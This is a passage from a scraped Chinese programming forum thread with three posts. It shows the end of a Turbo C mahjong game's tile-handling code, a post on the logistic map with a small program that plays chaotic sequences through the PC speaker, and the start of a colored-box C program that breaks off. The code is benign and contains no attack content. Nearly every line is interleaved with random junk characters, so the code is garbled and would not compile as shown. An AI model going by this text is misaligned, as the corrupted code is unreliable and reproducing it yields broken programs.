- [/ \, ?0 K' c5 g& S# ix1=220;
' \( d- p9 m  e6 D1 Ky1=165;
9 _# x& n- W8 f) p7 a  ~* a" SfillRectangle(x1,y1,x1+20,y1+4,0);
$ o9 i( }6 g) ^" E2 p}4 i' x) r$ X2 G; ~4 U' |1 B
if(every==11)% z% q0 D2 t/ e) C9 u
{
  n% k: z" [6 k9 }6 k1 nx1=240;5 Y: \% j" ^  `1 x
y1=165;# m4 {8 d4 V# o% p; e
fillRectangle(x1,y1,x1+20,y1+4,0);" K: \' G/ K' u5 V! n  c
}
. d9 Q9 Y: M3 q& Yif(every==12)! M- g# x$ ?2 }$ `; d; O
{
2 J3 Z4 F- l9 U2 Ox1=260;( D; V' L9 L2 W9 o9 O( \* G- ^
y1=165;/ b( ]+ z- T4 n4 z
fillRectangle(x1,y1,x1+20,y1+4,0);
( r1 J* p, Y$ W+ W0 i}8 l& X4 w2 X7 g+ y1 _+ v
& `" G$ |) R! J! w  q
zz=0;
1 r9 o8 D: G# ievery++;1 W/ O: e  O6 Y, C! M. O
z=z+20;% V& _9 `" @* S" Q& ?7 j
}- ^4 f0 ]4 Q- w
showbmp(every);
! W! i$ s$ i2 T" Z& i: g- V& }. vkey=keyy;! m2 H" x' r9 _, |# Q' H- q9 l8 _  z
if(keyy==ENTER)+ o0 I+ `1 c  @; B
{0 o' X8 C) n8 [  Y' [
rgzn(every); /*********************/
7 j- I% j6 ~$ z5 Z9 [: Z4 Wif(sing==1) /*如果可以乓,做相应的处理*/+ Z' o. W5 H6 e+ z4 G
{
4 e  q* q+ p$ b8 G. L" B/ Pkkk=0;; I, u9 Q: A  @- K4 z( V
kkkk=0;
. |" a! G, a5 p! ewhile(kkk&lt;=computer.m)
4 D( c* o. ]2 M2 n{- M2 k- F* L. ~+ s) f/ p! D
if(computer.pp[kkk].p!=1). q8 {* ]* V, z% U
{6 S* i& }- B$ P
comp.pp[kkkk].k=computer.pp[kkk].k;
( m# @& V* C$ R7 ~comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;. A) A( ^# w$ ]' X' J( r
comp.pp[kkkk].number=computer.pp[kkk].number;5 F' K/ K- q- ^8 W; n
kkkk++;9 {$ M. s3 a% K
}$ i) d. x* ^  e! t& P
else) ?& ^% a' P$ B+ e5 N/ M  K0 V/ y
{: r" K3 v) Q- w  t, Z5 i
m[computer.pp[kkk].number].data1=1;; ]0 u- i5 o3 P& T7 v. H/ n8 c
dwei=computer.pp[kkk].number;
9 K* U- f, }, L/ jcomputer.pp[kkk].p=0;
% g8 P) M% A4 A( A: s3 f}0 y5 Q1 J% I4 n& o8 Z
kkk++;
/ H& P7 U; i- [1 `& B& H7 L6 K}. U# n7 m8 N) ?
ll=0;4 Z+ i$ o7 P4 e1 G% p

: P  A/ p7 [7 t+ Bwhile(ll&lt;3)$ N% t3 m8 ^; W( H; e0 Y% b& v
{ zl=zl+20;
! u- r) j8 O$ s6 I# B0 j$ r/ jbmpp(dwei); /*显示乓的牌*/
: p3 l4 q; _% ell++;6 t) O+ L  R0 s' A6 R4 H
}
6 L" @/ e3 ~. b: o" K* I  T! j- x: g& N& W
zl=zl+9600-60;$ y6 z. G& [- n" w8 {( R
kkk=0;3 N% U# T! k9 E4 o4 e, D* x: g1 h
computer.m=computer.m-2;* h0 u# \! B( p* C7 g, w4 |7 b7 H
while(kkk&lt;=computer.m)
8 y* Z4 s( ~  ^& b& M: w1 Y{: F1 J" `* X& c2 v* V
computer.pp[kkk].k=comp.pp[kkk].k;6 N( c8 F  `) g* G& l, @
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;, k$ z' ]% J- F0 h8 C- Y
computer.pp[kkk].number=comp.pp[kkk].number;
4 p" l  F7 L( k2 B( H% `) ]9 {kkk++;: ?. m) I$ o" s$ E
}/ W6 I2 I6 o0 T# ^1 O, m
ll=0;
; @8 u8 e2 s4 I4 f' A# j) ttemp=random(computer.m); /*出牌等待完善*/- ]) G/ Z; X8 x* Y0 g
zyy=zyy+9280+20;7 x4 I% n1 X: T/ n8 {+ E, h: w& k
showcbmp(temp);
2 e+ }7 s% t( k) {zyy=zyy-9280;
% M$ i0 j- B  H0 R# w( s& K2 T/*****/
' `+ j: n8 `4 f* A8 o! V& brgznme(temp); . A4 U& n( L4 y6 D9 R
panduan();( e/ f5 a; ~' L
if(me.m==0)
- \8 j' j" U1 Fif(second==1 &amp;&amp; threes==0)
. U  |9 U' }- k8 |  H- s- f5 ?0 Eprintf("you win!");
  u2 {" Q. v: M) M- U% a3 Fif(me.m==3)# G: m, u- ~7 d9 ?0 Z' K1 ]
if(second==1 &amp;&amp; threes==1)7 s* T, {; m" ~+ c# C! n+ g/ d
printf("you win!");
* t2 t5 a+ n/ _( ~3 t0 N& d' hif(me.m==6)2 p- V" W  X9 l; G$ Q
if(second==1 &amp;&amp; threes==2)
, t. ~  u7 t1 Y" l" _. n( \printf("you win!");5 e, w( B! u/ _! i# S0 \
if(me.m==9); b; I% H2 X6 a4 I) {0 U
if(second==1 &amp;&amp; threes==3)3 r; m& L% ?7 y7 r
printf("you win!");7 g4 T. W; d+ E% m4 z( W8 c
if(me.m==12)
' O% V4 p! V3 x5 L2 qif(second==1 &amp;&amp; threes==4)# J( S* `1 _( L& o$ ?* s- r; c
printf("you win!");
. R" J7 J8 c; V- P
2 W/ \6 V. b$ Z6 L7 S3 mkkk=0;
: ]$ R& F7 v2 k' J0 M# V. dkkkk=0;
8 R8 |2 w$ o1 e- H$ O8 _/ P' j6 gwhile(kkk&lt;=computer.m)
2 r: H, `9 @8 F$ v" D0 S{4 S# |: W9 H0 g4 G
if(kkk!=temp): m/ \4 m% ?. O4 i
{
4 C8 F8 q  B7 f; S7 Gcomp.pp[kkkk].k=computer.pp[kkk].k;
! v* q" r/ d: g0 |" Vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;% X1 G3 T- q: G) |" [
comp.pp[kkkk].number=computer.pp[kkk].number;/ t# e7 y3 u+ G9 u0 D
kkkk++;' y# x( j* U5 o2 N" y9 m) B; B
}
- M$ B1 E2 m9 B9 `9 E; welse  _* P& ~( _1 u
m[computer.pp[kkk].number].data1=1;, G3 W8 [+ g3 i! y
kkk++;4 {2 A$ V8 Q+ }. D7 a9 ~. K. i
}
- r- c, l$ R7 ?- c1 A8 p/ r2 Hkkk=0;
$ b# l' N! g7 z( Pcomputer.m=computer.m-1;
# l- x  ]6 R1 a+ `while(kkk&lt;=computer.m) % ?* O" w+ D5 _0 i3 e. d' D
{$ Z$ Y" b: g/ m& s
computer.pp[kkk].k=comp.pp[kkk].k;4 N# w/ e5 P- ^
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
7 \% L/ G, M8 Pcomputer.pp[kkk].number=comp.pp[kkk].number;
0 w) o; ]* }+ @% Fkkk++;
7 T6 }; ~5 e1 r, Q# F. e( J: L( Y}, Z0 Y4 l6 q, @8 w& M! I3 J  f+ C! o7 ~) F
fillRectangle(0,0,320,30,0);2 _/ J+ O: a! u0 ]; n7 }# X9 i
n=computer.m;
- w  n4 }' v5 p( ^+ j! O7 o* }ll=0;
# V$ E; _3 Z/ X# kzy=0;
& N2 O. t- c2 p" T5 Cwhile(ll&lt;=n)9 Z/ \; I8 B% W9 e. w2 U  V
{+ _' G# ?. Q: w+ V
zy=zy+20;
  W3 i5 p% d9 X! G8 W* t% Q6 W) P) Eshowybmp(ll);
) x$ y) z) w6 p+ G' k8 \ll++;
1 a& t: p" V% y$ U, p/ O}% f9 y9 s, I7 ^  k' N
ll=0;
9 ~/ l& [' s: Xgetch();0 R( a  Q/ X, s. W" [+ s
sing=0;
, g% B2 F; P( S! d" J5 T) n& Esing1=1;; |; L/ d# t1 H* D/ v: C; O) G5 ]
}& d  C0 G4 y( H
" C* u" _8 J) J9 o- u: M
if(sing==2) /*如果可以杠的做相应处理*/* g0 ^  k3 o( w& n
{
4 T: I4 p3 _& b. b: I# Rkkk=0;
  s) M7 f0 m2 Q2 g$ Mkkkk=0;) \; V3 j; D& G' q# e
while(kkk&lt;=computer.m)5 L0 L3 j8 E; a- _
{
) h2 ]/ ], }" X9 k- L0 aif(computer.pp[kkk].g!=1)
" z. ~: k8 ]3 Q. }; i  R. E+ A{
+ ^7 b1 u, ~! S' e! X, o# h4 Y) w4 Z5 J! ucomp.pp[kkkk].k=computer.pp[kkk].k;
6 ]% L* h  v2 P7 H; |' ?comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
: p% q% u: Q9 S4 ?2 L* H+ s/ |' ecomp.pp[kkkk].number=computer.pp[kkk].number;
) M: [/ I+ C2 u& f1 S2 Gkkkk++;
6 l& p. ~0 I+ D% {# {8 R3 T; L}
* `. d4 H* k7 a" k4 h+ p1 Celse% I0 m9 g& q! O( D! _6 U
{
* {& Z8 w/ w1 R# pm[computer.pp[kkk].number].data1=1;+ T6 ^+ I% N& P# Q! t6 g, [
dweig=computer.pp[kkk].number;
& G/ g' j- x' Z) `1 vcomputer.pp[kkk].g=0;6 N1 B% |7 ?, k1 t" \0 O4 `* _
}
4 K! ?5 H/ u6 ]% \$ s5 skkk++;
- `/ o$ {6 b* K( z3 l- \6 x  b0 u}; z* d# B* M3 T
ll=0;7 }6 s9 g* E& z1 k) [

% e! I! f, z2 Rwhile(ll&lt;=3)
3 S5 I& P7 o4 p. O2 j; a0 w4 c{ zl=zl+20;: u8 r' d7 S' _; N' t
bmpp(dweig); /*显示杠的牌*/2 w6 v3 ~7 T$ {/ O. r- @: {
ll++;+ R5 n# H/ A" W6 P3 U
}' m2 y9 }" f1 R! _( l
zl=zl+9600-60;
- Q( Z/ z8 A+ Z8 B) `( u* J' f0 z5 rkkk=0;
$ m" C) q3 T' `+ mcomputer.m=computer.m-3;
" F5 T$ D  w" w2 Qwhile(kkk&lt;=computer.m)
7 n$ T4 d* o5 y( T0 g{
! ]/ s5 m* F; C+ x7 kcomputer.pp[kkk].k=comp.pp[kkk].k;
) V; l( Y" o4 S- M8 j+ @6 B: Xcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
4 ~$ V+ W# i; @computer.pp[kkk].number=comp.pp[kkk].number;
& |5 }& L7 f8 Zkkk++;1 @* s: z7 O. M- A1 t, Q& Y8 ?
}" M, X% r! q* a$ k, K
kk=0;3 q  Z% k3 k9 D! T. r+ Q! {
computer.m++; /*加一个牌的容量*/
7 Z9 u- ?' s1 R( j$ Swhile(kk!=1)
0 V3 D& f  b  O3 {4 D  `{
/ n8 c* ?; U1 I0 Qtemp=random(136); /*出牌*/
0 j+ m6 R$ N# U- B+ f7 qif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)' C% c. ?8 h" _2 c, l/ n
{
& ]( o+ A9 s/ I* N% e# z! rcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
$ i5 _' c9 Q( ccomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/) c4 b' X' |8 L" Z8 K- o2 L
computer.pp[computer.m].number=temp; /*第几张,用来排序*/$ k) L; q4 e  {2 b8 v
m[temp].data2=2; /*判断牌是谁的,2为电脑*// S1 c9 z5 {" o0 M+ P
kk=1;
+ [7 Y8 F0 U0 ?% b# o}  o0 f: E% Y4 M- P! \" j+ W. G" B4 e
}, }# o' \2 y1 Z0 {4 h* Z* u" v( @* [
comlipai();* d$ N; s+ \, A) m* r% G& f
temp=random(computer.m); /*出牌,等待完善*/
: n* c+ y8 N8 z1 x; G3 }$ ~* z# ezyy=zyy+9280+20;
/ G- z7 x* Y& _. J  x( jshowcbmp(temp);$ }/ G9 \' _+ O6 r' [- `1 c% Z
zyy=zyy-9280;
4 M$ R( x0 X) R* ]. t0 y9 D/*****/
% c# W0 L# ^/ q6 E) C2 w& N' [- Rrgznme(temp);2 [) r/ o# t1 [" x) i; ?
panduan();9 [4 K) w% U8 X) V6 Y: D
if(me.m==0)( W; X) v0 r$ N3 y, e
if(second==1 &amp;&amp; threes==0)( y, ?# o$ ]9 P( K8 s  N, \2 P
printf("you win!");: B, a' @* U/ P9 r) D& G
if(me.m==3)
: n/ @3 M+ t4 L( Y$ Xif(second==1 &amp;&amp; threes==1)
0 m5 C6 c! G% ^" I# p8 eprintf("you win!");
1 s9 r9 t4 ?+ t$ h' L; O. |! ]5 `9 qif(me.m==6)- e' X) i( n1 U+ w! I1 b
if(second==1 &amp;&amp; threes==2)& L# E4 r, ^5 ?3 h- F
printf("you win!");) G. L6 t2 |7 q. X
if(me.m==9)6 s/ m# m; X; F3 P
if(second==1 &amp;&amp; threes==3)
" u9 i# I, O) G: t; V4 J  O4 \printf("you win!");0 w# s( k7 T# L# K4 F6 w! ~
if(me.m==12)2 M: y( e* _, r+ ~
if(second==1 &amp;&amp; threes==4). V( T' f5 ]0 Z% i. f4 ^
printf("you win!");; _  t* V, f( B9 R7 t+ ^* r1 y

1 _$ A  Q) V0 K6 `6 y' pkkk=0;4 }" t& Y! |% q/ I9 O: c9 w: _
kkkk=0;/ A: _4 _  Y; B8 b+ W* O$ J
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/, R4 P9 w: p+ t
{3 T, D7 l$ h. k7 k+ z' ]0 [2 D
if(kkk!=temp)- U0 G+ ]. k' A+ Q$ P) e
{
2 v2 V- ^- W8 U* s! W: f5 `comp.pp[kkkk].k=computer.pp[kkk].k;$ R+ q& @) @3 U4 }* I
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
) [. N0 {0 u; Acomp.pp[kkkk].number=computer.pp[kkk].number;$ D" c: [8 y7 U: U
kkkk++;3 A# A/ Y/ N# i% g. y- q
}
0 K5 h, f6 C8 ]6 telse
; m  |3 k7 a6 C& R9 ^2 o- ^8 pm[computer.pp[kkk].number].data1=1;" n/ a3 Q# D) P, z
kkk++;' @/ B5 c+ U  m- v' T- N
}
9 ]# j. F+ r- {1 W. mkkk=0;0 p- I1 P; r6 ]- F7 Q/ A
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/2 S" J: r! p& K
while(kkk&lt;=computer.m)
4 f0 }6 u, L& L, P( ^% h6 o{
6 j* C3 t; J2 n. n8 Hcomputer.pp[kkk].k=comp.pp[kkk].k;
+ ^$ H: }( I2 Tcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
! N) b  t- ]- Lcomputer.pp[kkk].number=comp.pp[kkk].number;. ]  L$ m' w" _7 E
kkk++;7 ^* m$ j/ M- v( K# t' L( Q; H  j
}
( @: B  u0 M# W8 m5 t6 MfillRectangle(0,0,320,30,0);
: i! m9 o# F- All=0;' G( r4 c" n+ b' x* ]
zy=0;) i* t2 G6 Z: s: s5 K
while(ll&lt;=computer.m): D# t% n) X/ X( h/ \+ S
{
2 X5 k" Y6 h8 z7 O7 @" Q& Uzy=zy+20;
7 u/ p; @* V: D- N; Ashowybmp(ll);
" I- V' f% K5 m. Hll++;' ]3 \+ n5 d" W. s; U7 q
}5 Q: A5 e& {9 H/ s
sing=0;+ y/ C6 f, e7 b# H3 x
sing1=1;
2 Y, E) _/ K2 K6 t: V5 Z. {# G}! s8 w5 K5 T! a# I) L
if(sing==7) /*如果可以吃的,做相应处理*/
3 Q  Q, V7 w8 ^* x9 M+ B{ nn=0;
6 {! ?' g4 I, E' E# Jkkk=0;2 l! o, A; B+ `/ k8 A* ]
kkkk=0;
3 n' Z! z! c- ?. o8 U  lwhile(kkk&lt;=computer.m), D% s- ]% J/ T" U) k8 a
{
( u9 j: I4 J# T9 gif(computer.pp[kkk].c!=1)
' ~. q1 I! E7 e& t  E! N& R{  I1 I  |; t+ R6 V% k
comp.pp[kkkk].k=computer.pp[kkk].k;$ w( f3 o' |: x/ E2 }, w) U1 J
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;# Y) y2 P. A- B7 ?0 v7 M2 r* g8 J4 D
comp.pp[kkkk].number=computer.pp[kkk].number;4 `8 _/ O! p. \1 ]# t
kkkk++;" t5 J5 \" T- Y* d8 ]
}3 r3 `' d9 M% _
else" k3 Z. ^9 ?. j/ \# }* Z% F
{
3 [4 R* n3 z- e0 H/ n" x% wm[computer.pp[kkk].number].data1=1;
( V6 \5 a7 p7 J& y0 wdw[nn++]=computer.pp[kkk].number;
& p9 t# x; p8 i5 Q* `3 C* i  mcomputer.pp[kkk].c=0;
) U6 I, k; `0 x- `}
& T/ [- l) H# Skkk++;
9 [3 x4 [4 e8 H8 Q1 Q% B}
/ _. Q, \" o  r$ ]0 F; Y
) h; {! M/ P4 c1 dif(me.pp[every].number&lt;dw[0]). p/ j7 s6 P- ^1 w
{9 D7 n; {3 A2 C0 P* U) S+ U
dw[2]=dw[1];9 ~) |4 w  h) l/ ^! W1 q# ^
dw[1]=dw[0];
' `% o2 d$ p4 \- {: ^dw[0]=me.pp[every].number;
# ]" K: ^5 a! c5 R9 U/ F' h6 t}
, F7 F1 d- Q6 t# Cif(me.pp[every].number&gt;dw[1])
) C1 {+ u: V, y9 J6 y3 @{
3 Y, y5 k, E* @1 j( W) P& B# ~dw[2]=me.pp[every].number;0 A1 `( o- t+ Z2 b
}
5 B5 ~0 B$ |# d. hif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])0 o, T; q9 t" f; D0 `2 j& i5 o" |
{
/ J" U& |& x. p. ]dw[2]=dw[1];! }+ Q: o: R3 x' Z
dw[1]=me.pp[every].number;
9 ~( H5 m2 t  y4 F9 Y}: V8 {$ a+ m) x% ]6 @% ]
nn=0;/ {+ ~0 f. ?; s% p$ y, k" F" W6 \
while(nn&lt;3)$ {1 e! G# V1 I% y% t) n  q; Q
{ zl=zl+20;0 n6 s2 k! k; Q. Q8 |
bmpp(dw[nn]); /*显示吃的牌*/
% g# a0 ?! l  U5 ann++;
8 Q" x) b+ B* C) @}# Y& H4 Y8 E5 r! l7 ~, ^% H0 t
zl=zl+9600-60;. X6 ]' Q3 m- ~7 V% U' N5 g
kkk=0;0 T& B' N' ~7 ~
computer.m=computer.m-2;
# G( U4 [- E- o5 i, N' X* r6 a: h! ~8 y6 twhile(kkk&lt;=computer.m)
0 l. d$ K2 T1 B" V{
6 ~# ]* O8 c* d2 y4 ^computer.pp[kkk].k=comp.pp[kkk].k;: U; J3 ~" Y# C  R
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;6 |' Z* j, m# E8 s9 m
computer.pp[kkk].number=comp.pp[kkk].number;% M% j. f' r2 \: u8 e
kkk++;
5 [0 K# J9 l' k% D  E}
7 t& Q5 [8 ^" p, u1 Zll=0;# [- L& i9 p- j" P
temp=random(computer.m); /*出牌等待完善*/
) m4 T: ?8 d" L: K4 ?2 [2 czyy=zyy+9280+20;! U8 |8 C8 }2 ~9 B
showcbmp(temp);
3 v" z! w* |- azyy=zyy-9280;4 j, ~/ ]. g" K5 n# M7 W# r
/*****/
+ C' ^) X8 K! Q8 a% S5 W/ W. frgznme(temp);" R4 c' `, `  w& g: U, q
panduan();& n6 @/ s2 o8 E$ f6 t
if(me.m==0); F' W/ p, Y8 h8 r3 y  p) T
if(second==1 &amp;&amp; threes==0)8 X1 {  ?8 v" n& r
printf("you win!");, V/ W! i3 s) @
if(me.m==3)* q9 l) E( p# m
if(second==1 &amp;&amp; threes==1)
# V) N2 N4 m8 y8 H! }' u0 Q" `printf("you win!");: @! S9 i; o6 A! A" i) M
if(me.m==6)
7 S$ k9 n/ V. Kif(second==1 &amp;&amp; threes==2)' G) j8 r. t; @
printf("you win!");" T- T* Z8 ^8 e+ X/ s- t
if(me.m==9)# G3 M8 b: J1 e* A! d+ ~4 s
if(second==1 &amp;&amp; threes==3)
# l: M! c0 d" O! B( h5 I' f* xprintf("you win!");  ]! D5 w8 f& K1 x1 V8 |; u' y3 H
if(me.m==12)
/ @# a" f7 F7 oif(second==1 &amp;&amp; threes==4)
# m' K! S1 e, j7 A" \* N2 bprintf("you win!");: P, [# G9 \2 B, X8 W  W
" ^; Z* k1 Q# H7 h8 ]: F
kkk=0;. G, Y: E/ k% v2 k; w
kkkk=0;1 ^) ?" R2 c- ~( W. q3 u, A1 }
while(kkk&lt;=computer.m)2 R3 B' k# t, k' R3 ~, q+ s- e
{
% M& ]6 P: ~. E6 x1 [if(kkk!=temp)
$ `* H# N" T" ?/ G6 t9 s  F' n5 N/ ^4 k{  x' s$ t- K( Q( l: o) K
comp.pp[kkkk].k=computer.pp[kkk].k;. A, ^& E; c( w' Z
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;+ q: X  Q1 a% Q5 E
comp.pp[kkkk].number=computer.pp[kkk].number;
1 e9 K) X! f- f, s4 }kkkk++;
5 h$ a' Q# S& a1 T7 e: P/ r  x}& ^( P4 M6 C4 r) c: w) G- I
else4 r. L5 P! E  o6 W, K
m[computer.pp[kkk].number].data1=1;. E% y  e/ {. l5 P# L8 O& {
kkk++;
5 O' c( Q8 C, B% u5 F+ `}* f$ m# e. r; k1 w% r% B
kkk=0;# R' S& o9 D- u6 s8 m, B
computer.m=computer.m-1;$ G0 S& a( r# z7 S- Y& ]# r1 T
while(kkk&lt;=computer.m)
' d' ~8 k* [$ G9 K- V3 p; P{
; j; U+ s& T: m6 Hcomputer.pp[kkk].k=comp.pp[kkk].k;6 G) s% O: W( s3 g- j8 h- o2 s
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' g" @9 a0 p# C5 o% }" j7 Rcomputer.pp[kkk].number=comp.pp[kkk].number;8 v' c/ H' \- c$ }
kkk++;
/ L9 D9 p2 A5 t: r3 T% k8 ^}
+ G5 Q' o! p9 r- sfillRectangle(0,0,320,30,0);
+ ^8 A3 `) E2 Z1 N/ M" qn=computer.m;+ Y0 D4 y. p  M5 d4 y0 p3 O
ll=0;: F+ }8 ~1 N- ~- V, t  ^
zy=0;: Q& b% m/ S: L! R1 O# O! f
while(ll&lt;=n)2 D- V8 k9 p0 U# `, ^* v5 u1 G
{8 Y3 w; n( u! W) t, }
zy=zy+20;
1 J: u8 N5 g9 `3 }showybmp(ll);
4 P& v& T4 v' F) f) Xll++;! `; a4 g5 q  q4 Z
}8 Y% T8 a. [' k  M
$ t; V7 A5 h2 e& a5 ~7 t, A* y
getch();
! c7 }+ E! S( r8 h; P& Osing=0;: D) G9 |/ W, E1 K9 P
sing1=1;7 u3 Y3 N% e* j! t$ y9 r
}5 Z: @# z! A7 G$ W- [
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
+ ?: u" ^# T6 l: J0 f: j- q5 O0 }{5 O: t) H0 E0 B$ t
kk=0;
( Q2 z( W6 I; F: Z8 t7 N8 \h=me.pp[every].number;
/ A3 w; Z$ }0 L) ^; A) km[h].data1=1; /*此牌已经无用*/
! P9 B; }; B% {3 m6 f1 [& }! nif(sing1!=1)" k/ x3 S' g! _7 g: M
{5 Y* s8 m7 l2 U' r# _
zyy=zyy+9280+20;2 I$ ]+ ]3 _! _3 P
showbmpd(every);4 c/ }1 P( O! w& Q# f' }/ k) J9 B
zyy=zyy-9280;7 P3 e; E$ `+ e! ^: b) ?$ A; ?
}
9 D; M. ^0 R4 v/ @4 ywhile(kk!=1)& G. _2 u; h) t/ \
{
" @0 ^+ W6 q" m" k/ V* N3 Ztemp=random(136);
8 e# o! U- [* v( L5 N# F& ~9 Sif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
* r+ R4 |6 g& l4 u- g{
3 u3 H/ j3 N& k7 hme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
! E- ~& `" Z/ ]( w( U) o7 V6 }3 Gme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/  i* I7 S# b- a( Y/ c* V: ~
me.pp[every].number=temp; /*第几张,用来排序*/
5 }5 z% K. {' D' u: U9 |m[temp].data2=1; /*判断牌是谁的*/
  p6 I" x8 S  n6 ~5 R& u1 pkk=1;
0 @& p! Y, l& ^# c# ^; S}
6 E/ f! [4 H3 ^& N! kif(kk==0) /*判断如果又选择了,就从新再选*/. B5 C% V% h3 H1 `# v
kk=0;
4 v, @5 C7 k( `7 H2 ?}  R; j. w( H* W8 j: u3 P& C& Z: A
}& ~2 T/ U$ M' b3 n7 n" e+ f) i  I. ~
sing=0;
1 q% E! K# J( `0 U* @7 \sing1=0;
! n! n& H8 P% xmelipai();
, m9 r& H1 W# m+ b5 c+ r3 Zn=13;
3 ]9 {$ `8 J* H" _& U0 ]; [  |z1=54400;1 Y7 _+ J% M* K
l=0;# |* I3 B+ i6 A1 u( o- M9 t4 ]1 ^
g=z;
3 I; K: `' F5 Z$ G# k4 @/ ]1 T- Rwhile(l&lt;n): c% Z$ a4 o* u* H( P
{ z=0;; d* B- X' Z8 g* U0 r
z1=z1+20;- V% o0 D: B5 p& E5 V  ~
showbmp(l);
, W7 K9 [, F0 v1 K; s5 @$ h$ [* Cl++;+ `& d+ j6 x. M8 x
}; I" n$ Y% ^. x+ ~7 b
z1=0;+ d! N2 v: R& C7 n* A- y1 `) N, P; ^
z=g;
5 H# j$ `4 }; n0 E- `* W" o9 @}. R4 g5 M6 O/ o8 w+ O6 q  X, K7 X
keyy=0;
& J9 o! i- c/ w+ |! y' E1 [}
6 M' j' c; \, E2 J
7 f% ]% A# ~) N, c, Wgetch();/ z2 Y6 D4 O  j8 T9 R
OUTVGA;
, r2 J7 L; g* U$ i}
9 M& T1 m$ ~3 @4 K2 Q</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
8 ^! z8 C! o! P( z( Q7 {. y</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
. I" L/ W- h' f
8 z6 {; W6 _" a  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
3 p9 i. \' I( S' e: |  <FONT color=#009900>#include <DOS.H>/ y" \' c6 H6 K' l# h0 b4 U1 r& B
  #include <STDIO.H>4 @! r1 F% }5 T: R
  main(){
7 ^1 B0 Q7 K( A! o% b, ]$ I  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
5 l* }0 F) I' D& x4 K! T: ]- ~6 a  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
9 i/ w3 c* T0 B0 a3 l4 w* i& ?  /*i,j用于循环记数*/2 o7 ]7 z& }, _6 n( ~" y7 q
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
5 ]' o% [% Q- h4 x7 K0 W, d: p7 d  fDis=fMax-fMin;
% C: n) m' v6 c9 @' V  for(j=1;;j++){
4 V  g" c  }8 m1 v  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/5 P1 q2 ]9 o" o* e
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
% h, n8 |/ ]: w. a3 c& J3 F( a  scanf("%f",&k);
7 I* t4 d" ]) E9 [  \) v  if (k==0) break;" ~0 T* F8 g7 V) x
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
$ {6 s0 c' o3 I" ]  x=k*x*(1-x);* T6 [# {( ~8 M& v& d
  for (i=1;i&lt;100;i++){: O) H& d) L( ?5 k/ f
  x=k*x*(1-x); /*计算x的值*/
0 X5 [' j7 ^) Z, g' x* \  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/$ f0 ~8 W$ L$ c  U. W
  delay(1000); }. x" P1 V/ b2 y4 e7 `- t
  nosound(); }}
0 z9 e: e: G- i+ @6 L% c" l) N  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。$ b! d6 F! k& n9 T" x, d
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
9 I8 [) C% [: G/ {% L1 j$ Y+ e<FONT color=#009900>/*
! T! C: r) S& \: E1 S1 J; P*, z1 d4 z! N: Q* j
* Short driver module. [) m+ D. f* H
*
/ h' T( Y7 {: W* f*/</FONT></P><><FONT color=#009900>main()# [& x* O, ^/ R" Z' ]7 [4 S
{
3 A; q  ?+ H' Z# T5 ]1 S3 P- G9 zclrscr();
